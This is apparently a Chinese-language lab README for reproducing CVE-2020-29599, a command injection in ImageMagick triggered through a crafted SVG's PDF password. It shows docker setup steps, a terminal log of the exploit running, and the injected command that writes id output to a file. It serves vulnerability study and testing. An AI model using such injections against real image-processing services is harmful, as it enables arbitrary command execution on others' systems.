Aaron
63285f61aa
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37 lines
1.3 KiB
Markdown
37 lines
1.3 KiB
Markdown
# Imagemagick PDF密码位置命令注入漏洞（CVE-2020-29599）
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ImageMagick是一款使用量很广的图片处理程序，很多厂商都调用了这个程序进行图片处理，包括图片的伸缩、切割、水印、格式转换等等。研究者@insertScript 发现在Imagemagick 7.0.10-35到7.0.10-40、6.9.11-35 up到6.9.11-40处理PDF的过程中存在一处命令注入漏洞，通过构造好的SVG格式图片文件，即可在Imagemagick中注入任意命令。
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参考链接：
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- https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
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## 漏洞环境与复现
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直接执行如下命令进入安装了Imagemagick 7.0.10-36的Linux环境：
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```
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docker compose run im bash
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```
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进入`/tmp`目录，对[poc.svg](poc.svg)进行格式转换，即可触发漏洞：
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```
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root@f200ec9e1c1e:/# cd /tmp/
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root@f200ec9e1c1e:/tmp# ls
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poc.svg
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root@f200ec9e1c1e:/tmp# identify poc.svg
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poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.003
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root@f200ec9e1c1e:/tmp# convert poc.svg poc.png
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sh: 1: : Permission denied
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convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image *) NULL' failed.
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Aborted
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root@f200ec9e1c1e:/tmp# ls
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0wned poc.svg
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root@f200ec9e1c1e:/tmp#
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```
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此时命令`echo $(id)> ./0wned`已执行成功：
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